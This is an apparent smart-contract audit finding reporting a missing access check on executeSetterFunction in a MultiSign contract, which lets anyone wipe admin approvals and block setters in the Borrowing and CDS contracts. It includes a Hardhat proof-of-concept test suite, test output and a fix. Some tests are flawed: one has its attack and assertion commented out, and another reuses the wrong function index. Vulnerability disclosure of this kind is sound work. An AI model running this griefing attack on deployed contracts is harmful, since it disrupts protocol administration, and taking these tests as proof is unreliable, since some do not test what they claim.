Skip to content

043.md

Latest commit

 

History

History
247 lines (183 loc) · 11.1 KB

043.md

File metadata and controls

247 lines (183 loc) · 11.1 KB

Best Ceramic Yak

High

External callers can reset function approvals, leading to Denial of Service (DoS) attacks.

Summary

The missing access control check in the executeSetterFunction method of the MultiSign contract allows any external actor to reset all approvals for a specific function, disrupting the execution of dependent functionality. This causes a Denial of Service (DoS) for legitimate admins attempting to execute approved functions in dependent contracts (Borrowing and CDS).

Root Cause

In multiSign.sol:304, the executeSetterFunction method is missing an access control modifier to restrict its invocation to only authorized contracts.

    /**
     * @dev Set the function, If reqired approvals from the owners met
     * @param _function Fucntion to execute setter
     */
    function executeSetterFunction(
        SetterFunctions _function
    ) external returns (bool) {
        // Get the number of approvals
        require(getSetterFunctionApproval(_function) >= requiredApprovals,"Required approvals not met");
        // Loop through the approved functions with owners mapping and change to false
        for (uint64 i; i < noOfOwners; i++) {
            approvedToUpdate[_function][owners[i]] = false;
        }
        return true;
    }

Internal pre-conditions

  1. Admins must approve a specific function by calling approveSetterFunction.
  2. The required number of approvals (requiredApprovals) must be met for the function in question.

External pre-conditions

  1. A malicious actor must invoke the executeSetterFunction method on the MultiSign contract with a target function that has already been approved by the required number of admins.

Attack Path

  1. Multiple admins call the approveSetterFunction method to approve a specific function.
  2. Once the required number of approvals is met, a malicious actor invokes the executeSetterFunction method for the same function.
  3. This invocation resets all approvals for the function by setting their values to false in the approvedToUpdate mapping.
  4. When a legitimate admin attempts to execute the function in a dependent contract (e.g., Borrowing or CDS), the call reverts due to the lack of approvals.

Impact

The protocol's admins cannot execute setter functions required for critical operations, leading to a Denial of Service (DoS). This disrupts the functionality of the Borrowing and CDS contracts. The attacker does not gain funds but can repeatedly block essential operations (griefing).

PoC

Add the following test to Blockchian\test\BorrowingTest.ts file.

    describe("DOS(denial of service) on all executeSetterFunction used", function () {

        // -- BorrowingContract ---

        it("DOS(denial of service) revert setLTV BorrowingContract", async function () {
            const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([0]);
            await multiSignA.connect(owner1).approveSetterFunction([0]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(0);


            const tx = BorrowingContractA.connect(owner).setLTV(80);
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setAPR BorrowingContract", async function () {
            const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([1]);
            await multiSignA.connect(owner1).approveSetterFunction([1]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(1);


            const tx = BorrowingContractA.connect(owner).setAPR(50, BigInt("1000000001547125957863212448"));
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setAdmin BorrowingContract", async function () {
            const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([3]);
            await multiSignA.connect(owner1).approveSetterFunction([3]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            // await multiSignA.connect(user1).executeSetterFunction(3);

            const tx = BorrowingContractA.connect(owner).setAdmin(owner1.getAddress());
            // await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setTreasury BorrowingContract", async function () {
            const { BorrowingContractA, multiSignA, treasuryA, treasuryB } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([5]);
            await multiSignA.connect(owner1).approveSetterFunction([5]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(5);

            const tx = BorrowingContractA.connect(owner).setTreasury(await treasuryB.getAddress());
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setBondRatio BorrowingContract", async function () {
            const { BorrowingContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([5]);
            await multiSignA.connect(owner1).approveSetterFunction([5]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(5);

            const tx = BorrowingContractA.connect(owner).setBondRatio(4);
            await expect(tx).to.be.reverted;
        })

        // -- CDSContract ---

        it("DOS(denial of service) revert setAdmin CDSContract", async function () {
            const { CDSContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([4]);
            await multiSignA.connect(owner1).approveSetterFunction([4]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(4);

            const tx = CDSContractA.connect(owner).setAdmin(owner1.getAddress());
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setWithdrawTimeLimit CDSContract", async function () {
            const { CDSContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([2]);
            await multiSignA.connect(owner1).approveSetterFunction([2]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(2);

            const tx = CDSContractA.connect(owner).setWithdrawTimeLimit(1000);
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setTreasury CDSContract", async function () {
            const { CDSContractA, multiSignA, treasuryA, treasuryB } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([6]);
            await multiSignA.connect(owner1).approveSetterFunction([6]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(6);

            const tx = CDSContractA.connect(owner).setTreasury(await treasuryB.getAddress());
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setUSDaLimit CDSContract", async function () {
            const { CDSContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([8]);
            await multiSignA.connect(owner1).approveSetterFunction([8]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(8);

            const tx = CDSContractA.connect(owner).setUSDaLimit(10);
            await expect(tx).to.be.reverted;
        })

        it("DOS(denial of service) revert setUsdtLimit CDSContract", async function () {
            const { CDSContractA, multiSignA } = await loadFixture(deployer);
            await multiSignA.connect(owner).approveSetterFunction([9]);
            await multiSignA.connect(owner1).approveSetterFunction([9]);

            // A malicious user called before admin
            // in `executeSetterFunction` function set false all approved admins
            await multiSignA.connect(user1).executeSetterFunction(9);

            const tx = CDSContractA.connect(owner).setUsdtLimit(1000);
            await expect(tx).to.be.reverted;
        })

    })

run test with this command: npx hardhat test --grep "^DOS\(denial of service\) revert"

the test result:

  ✔ DOS(denial of service) revert setLTV BorrowingContract (55059ms)
  ✔ DOS(denial of service) revert setAPR BorrowingContract (103ms)
  ✔ DOS(denial of service) revert setAdmin BorrowingContract
  ✔ DOS(denial of service) revert setTreasury BorrowingContract (148ms)
  ✔ DOS(denial of service) revert setBondRatio BorrowingContract (60ms)
  ✔ DOS(denial of service) revert setAdmin CDSContract (59ms)
  ✔ DOS(denial of service) revert setWithdrawTimeLimit CDSContract (769ms)
  ✔ DOS(denial of service) revert setTreasury CDSContract (69ms)
  ✔ DOS(denial of service) revert setUSDaLimit CDSContract (59ms)
  ✔ DOS(denial of service) revert setUsdtLimit CDSContract (85ms)

  10 passing (57s)

Mitigation

Add an access control modifier (onlyCoreContracts) to the executeSetterFunction method to restrict its execution to the addresses of authorized core contracts (Borrowing and CDS):

modifier onlyCoreContracts() {
    require(
        msg.sender == cdsContract || msg.sender == borrowingContract,
        "This function can only be called by core contracts"
    );
    _;
}

function executeSetterFunction(
    SetterFunctions _function
) external onlyCoreContracts returns (bool) {
    require(
        getSetterFunctionApproval(_function) >= requiredApprovals,
        "Required approvals not met"
    );
    for (uint64 i; i < noOfOwners; i++) {
        approvedToUpdate[_function][owners[i]] = false;
    }
    return true;
}

Ensure the addresses of the CDS and Borrowing contracts are initialized in the initialize function of the MultiSign contract.